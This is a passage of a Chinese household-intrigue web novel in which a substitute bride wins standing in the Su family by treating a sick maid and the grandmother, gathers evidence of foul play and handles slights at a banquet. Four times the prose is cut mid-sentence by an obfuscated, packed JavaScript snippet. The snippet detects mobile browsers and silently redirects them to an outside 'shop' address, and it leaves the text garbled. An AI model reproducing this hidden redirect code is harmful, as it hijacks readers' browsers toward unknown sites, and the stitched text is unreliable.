风险固然有，但若畏首畏尾，她便永远只能在这砚澜轩中，做一个被众人轻视，被夫君厌弃的透明人。 玖鸢披上一件莲青色斗篷，上面绣着枝叶莲纹，铃兰提了药箱打着雨伞随在玖鸢身侧。后面还跟着两个粗使婆子，素罗妹妹素绢也一路小跑着跟在身后。 众人一路匆匆踏入雨幕，走向二房的锦绣阁。 锦绣阁内，下人们虽不似昨日乱哄哄的，却也人人心思沉重，脸上神色间都不大好看。 王氏坐在外间，双手合十闭眼不知在念叨什么，脸色发白。这会子听到动静遽然睁开眼睛，见到玖鸢带人进来，她愣了一下，随即勉强挤出一丝笑容。 “瑾哥儿媳妇，你怎么来了？雨下得这么大……” “听闻素罗姑娘情况不好，侄媳心中不安，略通些医理，特来瞧瞧，或许能帮上一二。”玖鸢解下斗篷递给一个嬷嬷，边抬头说道。 王氏将信将疑，但见玖鸢神色沉静，不似作伪，又见床上素罗确实气息奄奄，便叹了口气： “难为你有心了，且去看看吧，只是……唉……” 内室药气浓郁，夹杂着病人身上散发出的热气。素罗躺在床上，双目紧闭，脸颊泛着异样深红，嘴唇干裂起皮，呼吸急促而微弱，果然是一副危殆之象。 旁边还站着两个束手无策的大夫，和几个一脸恐色婢女。 玖鸢上前，先是仔细观察了素罗面色、眼睑、口舌，又搭上她腕脉。 素罗脉象悬浮，零乱且急促，肌肤无比滚烫。 玖鸢并非神医，但母亲手札中记载甚详，此乃风寒入里化热，兼有惊厥之兆，并非什么邪祟作怪。 玖鸢看过大夫开的药方子，方子本是对症的，只是素罗受惊过度，心神不宁，胃气上逆，导致汤药难入。 玖鸢便打开药箱，取出一个白瓷小瓶，倒出两粒朱红色丸药，对素绢道： “取些温水来，将这丸药化开，少量多次，慢慢喂她服下。此药有安神定惊、降逆止呕之效。” 这丸药是玖鸢用朱砂、黄连、半夏等药材精心配制，本是预备自己或是身边人急用的，此刻倒也派上用场。朱砂镇惊，黄连清热，半夏降逆，正对此症。 素绢连忙照做。 或许是丸药起效，又或许是玖鸢沉静态度带来了某种安抚，喂药过程竟比之前顺利许多，素罗虽仍昏迷，却不再剧烈呕吐。 玖鸢又吩咐用温水蘸湿棉帕，轻轻擦拭素罗额头和四肢，帮助散热。 她动作轻柔，神情专注，仿佛在做一件再寻常不过的事情，那份镇定自若，无形中感染了周围慌乱众人。 忙活了近一个时辰，素罗呼吸似乎平稳了一些，高热也略有消退迹象。 王氏进来查看，见状不由面露讶异，拉着玖鸢手道：“瑾哥儿媳妇，真是多亏了你。没想到你竟还有这等本事！” 玖鸢谦逊道：“二婶过奖了，不过是凑巧懂得些皮毛，能帮上忙就好。” 此时，外间传来婢女禀报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677379|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“太太，瑾大爷来了。” 玖鸢心中微微一动，自嫁入苏府至今，少说也有三四天了，但她只见到苏瑾一次面，苏瑾还是随着苏虞来的。 也就是说，虽说已嫁入苏家，成了苏瑾娘子，但是想要见到苏瑾一面，却还真不是件容易事。 所以此刻骤然听到通报声，竟是暗暗惊喜。 当下玖鸢抬眼望去，只见苏瑾穿着一身墨色常服，肩头带着湿意，显然是刚从外面回来，闻讯赶至。 苏瑾目光扫过屋内，在玖鸢身上停留了一瞬，依旧是那副看不出情绪的淡漠样子，只对王氏道：“二婶，素罗可好些了？” 王氏忙将玖鸢方才施救情形说了一遍，语气中带上了几分真心实意的感激。 苏瑾听完，目光再次落到玖鸢身上，这次停留时间略长了些，幽深眸子里似乎掠过一丝极淡诧异，但很快便消散无形。 他只微微颔首，道：“有劳。”语气依旧疏离。 玖鸢敛衽回礼：“夫君言重，分内之事。” 苏瑾没有再多言，转而与王氏说了几句关于明日法事和安抚下人的安排，便转身离开了。来去如风，仿佛只是履行了一项必要程序。 玖鸢看着苏瑾消失在门外，又匆匆飘入雨幕之中的样子，心中怪不是滋味。 他这一声有劳，比责难更显客套，比无视更显遥远。 然而仔细想一想，苏瑾这个样子，似乎对她目前处境，也没有什么太大不利。 今日之事过后，至少在这二房，乃至部分下人眼中，她玖鸢不再仅仅是一个空有美貌任人拿捏的代嫁新娘。 她展现了自己潜在价值，一种超乎他们预期的沉稳与能力。 回到砚澜轩，已是深夜。雨势渐歇，只余檐角滴答。 铃兰一边伺候玖鸢卸妆，一边忍不住道： “小姐，您今日真是太冒险了。不过也真是厉害，看二夫人那样子，对您可是感激得很呢。” 玖鸢看着镜中自己容颜，略显疲惫却眼神依旧清亮，淡淡道：“感激未必，至少，不敢再轻易小觑了。” “恩恩，小姐说的对，放眼整个苏府，似小姐这样容貌，又似小姐这般多才多艺之人，又有几个。况且小姐竟然还会诊病望脉，这真真是世间少有，他们哪个再敢小觑小姐呢。” 主子争气，下人自然扬眉吐气，铃兰突然之间心情好得不得了，帮小姐卸好妆后，又帮着一个嬷嬷给玖鸢放了一木桶热水，进来唤玖鸢冼澡。 “小姐，奴婢和嬷嬷们给小姐准备了温水，小姐去冼个澡呗，小姐这一天也累了不少，定是乏了，冼冼尘土可解乏呢。” 玖鸢恩了一声，点头起身。 澡房在另一屋，走几步便到。 玖鸢躺在澡桶里，水上浮着花瓣，香气宜人，给她一种昏昏欲睡之感，微闭了眼，玖鸢便想起苏瑾白天短暂停留的目光，还有一缕几乎难以捕捉的诧异。 【苏瑾，你以为我一无是处，我恰不是你相象中那般平庸。】 今天在二太太那里，玖鸢不过是展示了冰山一角，她所有的未雨绸繆，恰似积年已久的封存，须得一步一步慢慢铺陈。 9. 扇坠 素罗服了玖鸢配制的药，烧是退下去了，二太太那里一夜无事。 翌日，白云观道士如期而至，在二房院落外设坛做法，铃铛声、诵经声断续传来，香烟缭绕，更给府里平添了几分神秘紧张气氛。 然而，或许是因玖鸢昨夜施以援手，稳定了素罗病情，那不干净东西的说法虽仍在私下流传，却少了几分笃定，多了几分将信将疑。 晨省时，柏草堂内的目光，落在玖鸢身上时，便与往日有了些微不同。 二太太王氏见到玖鸢，未语先笑，亲热地拉过她的手，对老夫人和其他女眷道： “母亲，您是不知道，昨夜可真是多亏了瑾哥儿媳妇。那等沉稳气度，那手医术，真真是将门虎女，处变不惊。素罗那条小命，算是捡回来一半了！” 王氏这话说得漂亮，既抬高了玖鸢，又不着痕迹地把将门虎女名头与她昨夜表现联系起来，冲淡了可能因医术带来的非闺阁正道质疑声。 老夫人正在拨动佛珠，这时停了手中动作，抬眼看向玖鸢，目光中审视意味淡了些，多了几分难以言喻的深意。 “哦？孙媳妇竟还通医理？” 玖鸢敛衽垂眸，声音温婉： “回祖母话，不过是幼时身子弱，母亲忧心，延请过几位医婆嬷嬷，孙媳在旁听得几句，记得些粗浅方子，登不得大雅之堂。昨夜也是情急之下，姑且一试，幸而未酿大错。” 玖鸢将缘由推给幼时体弱和母亲忧心，合情合理，既解释了医术来源，又显得谦逊，不张扬。 老夫人微微颔首，未再深究，只道：“有心总是好的。只是女子当以德言容功为本，这些技艺，知晓便可，莫要过于沉溺。” “孙媳谨记祖母教诲。” 玖鸢恭顺应下。她知道，在这等高门，女子行医问药，终究非正途，老夫人此言，是在提醒她何事不要太过。 三太太赵氏在一旁，嘴角撇了撇，似笑非笑道： “二嫂说得是，瑾哥儿媳妇确是有能耐。只是咱们这样人家，终究不是开医馆药铺的，主子们亲自出手，传出去，没得叫人笑话咱们府上没了规矩，连个得力大夫都请不起。”这话便带着明显酸意和挑拨了。 林氏坐在一旁，脸色依旧平淡，闻言只淡淡道： “三弟妹多虑了。瑾哥儿媳妇也是一片好心，救了人总是功德。规矩自在人心，不在这些小节。”她虽不喜玖鸢，但更不愿见三房借题发挥，落了长房脸面。 玖鸢只作未闻，依旧是一副低眉顺目模样。她知道，此刻任何辩解或反驳都是多余，沉默是最好的应对。 从柏草堂出来，往静心苑去的路上，林氏破天荒地主动开口。 “你能放低身段，给一个下人诊医行药，属实难得，彰显善心善德。只是日后类似之事，需得更谨慎些，莫要轻易沾染，平白落了身份。” “是，母亲，儿媳明白了。”玖鸢应道。 玖鸢能感觉到，林氏态度虽未热络，但那层若隐若现的隔膜，似乎因了她这次悍然出手，且结果惊人，而似乎终于对她有了一丝改观。 到了静心苑，林氏今日教导的内容，竟不再是枯燥的族规家训，而是开始涉及一些府中日常用度的账目核对，以及人情往来具体事例分析。 林氏依旧语气平淡，但讲解得细致了许多。 “城中锦华绸缎庄，上月收益比往年同期减了一成，管事报上来说是因今冬南边来的新式花样不多，客源被西街新开的秦氏绸庄分去了些……”林氏翻着账册，似是无意地提及。 秦氏？ 玖鸢心中一动，是那个西境秦家？ 她记得母亲手札中似乎提过，秦家近年在江南动作频频。她面上不动声色，只认真听着。 午间从静心苑回到砚澜轩，玖鸢发现院中多了几盆品相极佳的素心腊梅，幽香扑鼻。 铃兰喜滋滋地回禀： “小姐，是二夫人派人送来的，说是感谢您昨日援手之恩。” 下午，又有三房那位倨傲的苏雯小姐，派人送来了一盒新式江南点心，虽未亲自前来，却也足见态度软化。 甚至连厨房送来的晚膳，都比往日更精致了几分，还特意多加了一道暖胃上等奶昔。 铃兰看着这一切，难掩兴奋：“小姐，您看，府里这些人，如今对您可客气多了。” 玖鸢坐在窗下，腑身嗅过一瓣嫩黄腊梅，神色却不见多少喜色。 “客气，未必是真心。不过是因我昨日之举，让他们看到了些许用处，或是暂时摸不清我底细，不敢轻易得罪罢了。” 玖鸢声音平静，“这苏府之中，锦上添花易，雪中送炭难。今日这些，不过是浮云。” 玖鸢想起苏瑾那声疏离的有劳，想起林氏那句莫要落了身份，想起三太太赵氏含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677380|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸带刺的话语。 这点滴的好转局面，如同冬日短暂阳光，看似温暖，实则根基浅薄，随时可能被下一场风雪淹没。 真正的立足，远非如此简单。 玖鸢需要更清晰地了解苏府权力格局，需要找到真正能为自己所用的力量，需要让那个名义上的夫君，无法再忽视她的存在。 正沉思间，忽见院门外一个小婢女探头探脑，正是昨日在二房那个被她赠予银镯的小婢女素绢。 铃兰出去询问，回来时手里多了一个小小叠得整整齐齐的布包，低声道：“小姐，是素绢，她说多谢您救了她姐姐，无以为报，这是她偶然在池边捡到的，觉得或许有用，特来交给您。” 玖鸢接过布包，入手微沉。 打开一看，里面竟是一枚男子常用扇坠，是青玉打造，玉质普通，雕工也寻常，但边缘处却沾着一点不易察觉污渍。 污渍已然干涸发暗，似是指甲刮擦留下的胭脂痕，颜色与那日落水被救起时素罗指甲缝里残留的些许颜色，极为相似。 玖鸢的心，猛地一跳。 素罗落水，果然不是意外。 这扇坠，是关键证物，素绢将此物交给她，是信任，更是一个烫手山芋。 玖鸢将扇坠紧紧攥在手心，冰凉玉石硌着掌纹。 这苏府的风，果然是比她想象的还要诡谲。 这枚小小扇坠，是男人之物，已完全印证她先前猜测，素罗落水，并不是单纯一个事件。 但是她若较真，又会牵出苏府怎样的秘密。她未来之前，苏府一团和气，即便只是表面上，也上下有序，礼仪之家，何曾有过半点绯闻。 难道她竟要捅破这层暗流穴口，使府上原本的暗潮涌动，化为汹涌肆水么。 想到这一点，玖鸢颇为踌躇。 明明依她眼下身份，似该着安分守己，保全自我，在缓慢的时光里，等着大少爷苏瑾哪天心血来潮，或是突然之间情不知所起，而来砚澜轩宠幸她一回，等着有个一儿半女，妥妥当她的大奶奶身份，然后终老一生。 再者，婆婆林氏也警告过玖鸢，行事要谨慎自律，凡事不可强出头。 夜色，再次笼罩下来，将砚澜轩，连同这偌大的苏府，一起吞没。 只有那几株二房新送的腊梅，在寒冷夜风中幽然吐芳，仿佛在无声地预示着，更剧烈的风雨，即将来临。 10. 对弈 腊月二十四，扫尘日刚过，苏府便迎来了一场由二太太王氏做东，遍请各房女眷的赏梅小宴。 地点就设在二房院落相邻的沁梅园中。 因着素罗之事，王氏似乎想借此冲淡府中连日来的沉闷与流言，也顺带彰显二房的宽厚与雅趣。 玖鸢接到帖子时，正对着一方白绢，用极细墨笔勾勒着一株梅花轮廓。这是母亲教她的静心之法，亦是她暗中练习绘制药草图谱的基本功。 听闻赏梅之邀，玖鸢笔下微微一顿，墨点险些晕开。 “小姐，二夫人这宴，怕是鸿门宴呢。” 铃兰一边为玖鸢挑选赴宴衣裳，一边忧心道，“昨日三房那边才送了点心，今日二房就摆宴，谁知道是不是藏着什么心思。” 玖鸢放下笔，看着绢上险些毁了的梅花，神色平静。 “是宴非宴，总要去了才知道。既来之，则安之。”玖鸢深知，自素罗之事后，她已无法再完全置身事外。这赏梅宴，是试探，是拉拢，也可能是新的风波。 玖鸢依旧择了一身素净衣裳，藕荷色夹棉长袄，上面配了枝兰草纹月华裙，发髻间簪了支素银珍珠簪，并一朵新摘的绿萼梅。淡雅出尘，与满园争奇斗艳的女眷相比，反倒格外显眼。 沁梅园内，果然已是笑语喧阗。 数十株老梅虬枝盘错，红梅似火，白梅如雪，绿萼梅清雅脱俗，幽香浮动，沁人心脾。 暖阁早已备下，地龙烧得暖融，四周悬着厚厚锦帘挡风，中间设着紫铜大火盆，炭火烧得正旺。 各房太太、奶奶、小姐们皆是盛装出席，环佩叮当，珠光宝气，将这暖阁映衬得如同瑶台仙境。 王氏今日穿着件玫瑰紫锦袄，袄上绣着牡丹彩蝶，显得格外富丽堂皇，见玖鸢到来，忙亲热地迎上来，拉着玖鸢手向众人笑道：“这是瑾哥儿媳妇，真正是人比花美，瑾哥儿媳妇这通身气派，倒把这满园梅花都比下去了。” 这话引得众女眷纷纷看来，目光各异。 三太太赵氏穿着一身绛红色百鸟朝凤丝裙，闻言嗤笑一声，声音不大不小，刚好能让周围人听见： “二嫂这话说的，梅花清骨，岂是凡花可比？就算瑾哥儿媳妇长得如花似玉，奈何……”三太太话未说尽，尾音拖长，引人遐思。 三太太这未尽之语，无非是暗指玖鸢空有美貌，却也不过是沈家一个庶女而已，再者说了，就算玖鸢长得如花似玉，不也落个独守空房，大少爷目前为止，恐怕是连眼皮子都懒得撩一下。 伴着三太太这席欲尽未尽之意，人群中微微引起一片唏嘘低喟。 玖鸢只作未闻，从容地向王氏及各位长辈、平辈见礼，姿态优雅，无可挑剔。 她被引至一处靠近窗边位置坐下，正好可以观赏窗外一株姿态奇绝的白梅。 婆婆林氏也来了，坐在上首，与几位年长妯娌说着话，目光偶尔扫过玖鸢，带着一丝不易察觉的关注。 宴席开始，珍馐美馔，流水般呈上。婢女们穿梭斟酒布菜，丝竹管弦之声悠扬响起，气氛看似融洽热烈。 酒过三巡，王氏笑着提议： “光是吃酒赏花也无趣，不若咱们行个酒令如何？就以梅为题，或诗或词，或典或故，接不上来的，罚酒一杯！” 众女眷纷纷叫好，显是常玩此类游戏。玖鸢心中微愕，她于诗词一道虽也读过些，却非所长，更不熟悉江南这些世家女眷偏爱的雅致玩法。 果然，几轮下来，几位苏家小姐，尤其是三房的苏恬，表现抢眼，引经据典，妙语连珠，博得阵阵喝彩。轮到玖鸢时，场面瞬时一静。 苏恬眼中闪过一丝看好戏的讥刺，笑道：“大嫂来自北地，想必见惯了铁马冰河，不知对这江南梅花，可有别样见解？” 话语之间，略有揶揄之意，而且苏恬笑的姿意敞扬，在她看来，玖鸢一出生便居武道世家，且又是家族庶女，于诗礼之教定是输于皇商世家。 玖鸢放下手中蜜饯，抬眼，一双美目扫过众人，最后落在窗外那株白梅上，缓声道： “诗词歌赋，妾身确实粗通。但说到江南梅花，虽不及北地冰寒旷味，却饶有南地傲然一绝风骨，眼前这株白落梅，倒令妾身想起幼时母亲说过的一桩旧闻。” “噢，什么旧闻，瑾哥儿媳妇可否道来？”王氏听得饶有兴味。 玖鸢淡淡一笑，眉目之间山岳澄湖，气度闲适，不卑不亢埏郦出声： “听闻前朝有位名医，曾于大雪封山时，以白梅之蕊，合以几味寻常药材，救治过无数染了时疫的灾民。医者仁心，万物皆可入药，观这满园冬梅，不止可供清赏，亦可活人性命。妾身以为，此等功德，或许比风花雪月，更值得铭记。” 话声清淡，却字字若珠玑落盘，泠泠之声蜿埏成曲一般，可深可品可及大雅之堂，这番高论，任谁都不敢起半点亵渎之意。 玖鸢这番话，避开了不擅长的诗词，转而从医理与仁心切入，既回应了苏恬刁难，又不着痕迹地再次点出自己通晓医理之事，更将话题拔高，一下子不知高了几个档次。 暖阁内静了一瞬。 王氏率先抚掌笑道：“说得好，好一个医者仁心。瑾哥儿媳妇见识不凡，心地仁善，难怪那日能救素罗于危难。” 林氏眉头几不可察地舒展开一分，似乎对玖鸢这番应对颇为满意。 苏恬脸上有些挂不住，神色变了几变，冷冷笑道：“大嫂巧言善变，果然是武道之脉，见解粗旷。” 苏恬这话说的极为没有礼貌，粗旷二字也用得有点不妥，因了苏恬年岁尚幼，众人便只是笑了笑，玖鸢只当没有听见，不再回应。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677381|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在这时，一个负责伺候酒水的小婢女，不知是紧张还是地滑，手一抖，竟将半壶温酒泼洒出来，恰巧溅到了坐在下首的一位旁支小姐裙子上，那小姐惊叫一声，站了起来。 “没眼力见的东西！”王氏脸色一沉，呵斥道。 小婢女吓得面无人色，扑通跪下连连磕头。 玖鸢离得近，见那位小姐裙子上酒水泼洒过显出痕迹，又目睹小婢女惶恐眼神，心中忽有所动。 玖鸢起身走过去，声音柔和：“你且去一边歇歇，我来看看可有补救。”她略微看了一眼茶渍，对旁支小姐道： “妹妹莫惊，先用干帕子吸一吸，我这有一瓶自制的祛渍露，或可一试。” 玖鸢说着，从袖中取出一个拇指大小瓷瓶，倒出些许透明液体，示意这位本家族女擦拭。 女子将信将疑地试了试，果然酒渍淡去许多。 这小小插曲，虽化解了一场尴尬，却也让玖鸢心中疑云更甚。 玖鸢方才看得分明，小婢女摔倒前，眼神似乎惊恐地瞟向了三太太赵氏身后一个嬷嬷。而那泼酒的方位，若她坐的位置再偏一些，恐怕被泼湿的就是她自己了。 是意外，还是有人想让她在众目睽睽之下出丑？玖鸢越想越觉得这事有点可疑。 这件事过后，整个赏梅宴还算和谐盛世，没有再出什么状况。或许是玖鸢也起了提防之心，事事谨小慎微，做该做之事，说该说之话，克制有度。 也或许是因着玖鸢到底是大奶奶身份，大少爷苏瑾又是苏府权力中心核心人物，所以也并没有人敢正面找她茬子，玖鸢倒也乐得安心省事。 夜里大约亥时，由二房太太组织的这场赏梅宴终于结束。 回到砚澜轩，玖鸢屏退左右，独自坐在灯下，从妆奁最底层取出一个布包，布包里面是那枚扇坠。 玖鸢将扇坠拿在手中时，冰凉触感传来，上面那点胭脂痕尤为触目。 素罗落水，扇坠，宴席上疑似针对玖鸢的意外，这些碎片，拚凑成一个疑团，不能不令玖鸢思绪滚滚。 玖鸢想起母亲手札中曾提及，高门后宅，争斗不休，有时看似针对某个人，实则背后牵扯的是更大利益纠葛。 府上如今突然多了一个大奶奶，即便是有名无实，即便大少爷并不悦见玖鸢，但她这个突然闯入的变量，是否无意中触动了一些人利益？ 窗外，夜色深沉，寒梅幽香固执地透窗而入。 玖鸢将扇坠紧紧握在手心，心想以她孤身一人踏入这苏家百十来口家族，想要觅得一席之地，委实不是件容易事。 但是既来之，则安之，沈家她是回不去了，也不想回去，倒是在这苏府上下，值得她打拚出一片新天地。 她约略为自己设定了一方棋局，一步一步，暗地里筹谋。 11. 内宅 沁梅园那日风波虽过，但之中掩映的端倪，还有隐约之间的敌意，令的玖鸢不能不防。 玖鸢心中清楚，那日的泼酒绝非意外，只是对方手段尚算含蓄，未到图穷匕见之时。 既然对方尚算得上伪装，做人留一线，大家都没必要撕破脸，玖鸢便假装什么事也没发生过一样，依旧每日晨昏定省，前往静心苑听训，姿态恭顺如常，仿佛那日梅宴上的机锋与惊险从未发生。 然而，苏府这潭水，却不会因玖鸢静默而停止翻涌。 这日清晨，玖鸢前往柏草堂请安时，便察觉气氛不同往日。 老太太虽依旧端坐罗汉床上，手中拨动着佛珠，但眉宇间笼罩着一层难以驱散的疲惫与痛楚，脸色也比平日苍白几分。 老太太和众人搭话时，偶尔会几不可察地蹙一下眉头，搭在引枕上的手，似有乌青曲黑。 堂下众女眷显然也察觉了，皆是屏息凝神，不敢多言。林氏眉间忧色更重，几次欲言又止。 请安将散时，老太太终于挥了挥手，声音带着一丝不易察觉的虚弱：“都散了吧，我今日有些精神不济，想静静歇会儿。” 众人依言告退。 玖鸢跟在林氏身后，走出柏草堂不远，便见老太太身边最得力的宋嬷嬷脚步匆匆追了上来，面带焦灼地对林氏道： “太太，老太太头风症又犯了，疼得厉害，刚服了常备的安神汤，却似乎效果不大。” 林氏脸色一变：“怎会如此？不是一直用着薛太医的方子调理着吗？快去再请薛太医！” 宋嬷嬷为难道：“薛太医昨日告假，回乡下老家探亲去了，需得三五日才能回来。已派人去请城中其他几位名医，只是老太太这病症来得急，怕是远水难救近火……” 林氏顿时慌了神，手足无措。老太太的头风是旧疾，发作起来头痛欲裂，严重时甚至呕吐、畏光，寻常药物难见速效。薛太医是调理此症的老手，他一走，竟一时无人能顶替。 玖鸢在一旁静静听着，心中念头飞转。 老太太这头风症，听症状似是肝阳上亢，风痰上扰所致。母亲手札中，对此类病症有过详细记述，并有一套应急针灸之法，配合特定穴位按摩，可暂缓剧痛。 只是她若此时出手，风险极大。 成功了，固然能进一步获取老太太好感，甚至改变自身处境。可若是有丝毫差池，那便是万劫不复。 就在林氏与宋嬷嬷焦急商议是否要递牌子请太医正时，玖鸢上前一步，敛衽行礼，声音清晰而沉稳： “母亲，宋嬷嬷，祖母病发，妾身心忧如焚。妾身有一法，或可暂缓祖母疼痛。” 闻言林氏和宋嬷嬷同时一怔，看向她。 “你？” 林氏眉头紧锁，语气带着深深怀疑，“你又想做什么？你祖母这病，连太医都需谨慎应对，岂是你能胡乱插手的？”梅宴之事刚过，林氏实在不愿再节外生枝。 宋嬷嬷虽未说话，眼神中也满是疑虑与不赞同。 玖鸢迎上林氏审视目光，不闪不避，语气依旧平静，却带着一种安静底气：“母亲容禀，妾身此法，并非用药，而是源于古法针灸与推拿，只专攻特定穴位，疏导经络，平肝熄风，并无侵入脏腑之险。妾身曾以此法，缓解过身边嬷嬷类似急症。祖母此刻正受煎熬，妾身愿尽力一试，若无效，甘受任何责罚。” 玖鸢将古法，针灸推拿，无侵入之险点出，是为了降低林氏的抗拒，同时立下军令状，表明决心。 林氏仍在犹豫，宋嬷嬷却看着玖鸢那双沉静如水眸子，想起那夜她救治素罗时惊人奇效，想着玖鸢多少是懂点医理的，又闻听到内室老太太压抑的呻唤声，心下一横，对林氏低声道： “太太，老奴看大奶奶不似妄言之人。如今薛太医不在，其他太医赶来尚需时间，老太太实在痛苦……不如，就让大奶奶试试？老奴在一旁紧紧盯着，若有任何不妥，立刻停止。” 林氏见老太太也实在是难受得不行，再拖下去恐更是折麿，又见玖鸢样子笃定，且这些日子仔细观察接触下来，玖鸢似也不是个乱来事的人，又见赵嬷嬷放话，便也顺水推舟道： “也好，玖鸢，就让你试一试着给看看，但你需得万分小心，万不能有半分差池。” “儿媳明白。”玖鸢躬身，随即对宋嬷嬷道，“请嬷嬷准备一盏清酒，一块干净白巾，再取我的紫檀药箱来。” 东西很快备齐，玖鸢净手后，打开药箱，取出的并非药丸，而是一个小巧羊皮卷，展开后，里面是数十根细如牛毛，闪着寒光的金针。她又取出一盒气味清冽药膏。 柏草堂内室，锦帐低垂，光线昏暗。 老太太躺在榻上，双目紧闭，额头冷汗涔涔，手指用力掐着太阳穴，发出压抑抽气声。 玖鸢屏退闲杂人等，只留林氏和宋嬷嬷在旁。 她走近榻边，柔声道：“祖母，孙媳玖鸢，为您施针缓解疼痛，可能会有些许酸胀，您且放松。” 老太太痛苦中微微睁眼，看了玖鸢一眼，又无力地闭上，算是默许。 玖鸢凝神静气，指尖拈起一根金针，在清酒灯焰上微微一燎，看准老太太头部百会、风池、太阳等穴，以及手上合谷穴，稳、准、轻、快地一一刺入。 玖鸢这一连串动作如行云流水，带着一种奇异韵律感，仿佛演练过千百遍。 林氏和宋嬷嬷紧张得大气不敢出，紧紧盯着玖鸢每一个动作。 金针每扎入一下，老太太身体便微微一颤。 玖鸢指尖或捻或弹，运用着母亲手札中记载的特殊手法，疏导着淤堵气血。随后，她又蘸取药膏，以恰到好处力道，为老太太按摩头颈部的经络。 时间一点点过去，内室静得只剩下几人轻微呼吸声。 约莫一炷香后，老太太紧蹙眉头竟真的缓缓舒展开来，掐着太阳穴的手也渐渐松开，呼吸变得平稳悠长。虽然未曾完全清醒，但那显而易见的痛苦之色，已消退大半。 “这……真的有效？”林氏难以置信，看向玖鸢的目光，彻底变了。那里面，有太多惊疑，还有震撼。 宋嬷嬷更是激动得眼眶微红，连声道：“佛祖保佑！老太太看起来好多了！” 玖鸢轻轻起针，用白巾拭去老太太额角细汗，这才直起身，对林氏和宋嬷嬷轻声道： “祖母经络暂通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677382|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，肝风稍平，疼痛可缓一二时辰。还需安静休养，待太医来了，再行用药巩固。” 玖鸢语气平静，额角却因方才全神贯注用力，渗出一层薄薄细密汗珠，脸色也有些苍白。这套针法极耗心神。 林氏看了玖鸢一眼，似有太多话想说，但一时又不知如何说起，况当着赵嬷嬷面，林氏也不想表露太多感情，只是淡淡道：“你辛苦了，先回去歇着吧，这里自有我们照料。” 玖鸢依言告退，步履沉稳，一个人走出柏草堂。 待回到砚澜轩，屏退左右，玖鸢才放任自己靠在软榻上，长长舒了一口气，后背竟已被冷汗浸湿。方才那一刻，无异于刀尖起舞。 然而，玖鸢清楚，这一步，她走对了。 果然，未到午时，老太太醒来，头痛大为缓解的消息便传遍了苏府。 随之而来的，是各房态度的微妙转变。 二太太王氏送来的谢礼更加丰厚，连三太太赵氏也派人送来了一盒名贵红燕窝。下人们见到玖鸢，行礼时腰弯得更低，眼神中充满了敬畏与好奇。 更重要是，傍晚时分，苏瑾竟再次踏入了砚澜轩。 他依旧是一身墨色常服，身姿挺拔，眉目清冷。但这一次，苏瑾没有站在门口，而是走了进来，目光落在正在窗下看书的玖鸢身上，深邃难辨。 “今日之事，多谢。”苏瑾开口，声音依旧平淡，却少了前两次那种刻意疏离，多了几分审慎与探究。 玖鸢放下书卷，起身敛衽：“夫君言重，为祖母尽孝，是孙媳本分。” 苏瑾走近几步，距离拉近，玖鸢能更清晰地闻到他身上那股清冽的剑兰气息。 对方目光在玖鸢脸上停留片刻，仿佛想从她平静无波眸子里，看穿玖鸢究竟是何等样人。 “你通医理，精针灸，沈家竟教这些？”苏瑾忽然问道，语气听不出喜怒。 玖鸢心头微紧，面上却不动声色。 “回夫君，妾身母亲常年体弱，久病成医，妾身在旁侍疾，耳濡目染，略知皮毛。至于针灸，是机缘巧合，得一位游方嬷嬷传授，只习得些粗浅应急之法，不敢称精。” 玖鸢将一切推给母亲和游方嬷嬷，合情合理，不留把柄。 苏瑾沉默片刻，未再追问，只道： “祖母之事，府中上下皆感念你。日后你若有难处，可遣人来书房寻我。”说罢，他深深看了玖鸢一眼，转身离去。 这算是，认可？ 玖鸢看着苏瑾离去的背影，指尖轻轻拂过书页。她知道，从这一刻起，她在苏府的处境，已然不同。她不再是那个可以随意被忽视、被轻视的代嫁新娘，她凭借自己能力，撬开了一道缝隙。 然而，福兮祸之所伏。 今日她显露的医术，是护身符，也可能成为催命符。 苏瑾那句“可遣人来书房寻我”，看似给予方便，又何尝不是将玖鸢置于更显眼的位置。 玖鸢走到窗边，看着庭院中那几株在暮色中愈发显得清幽的腊梅。 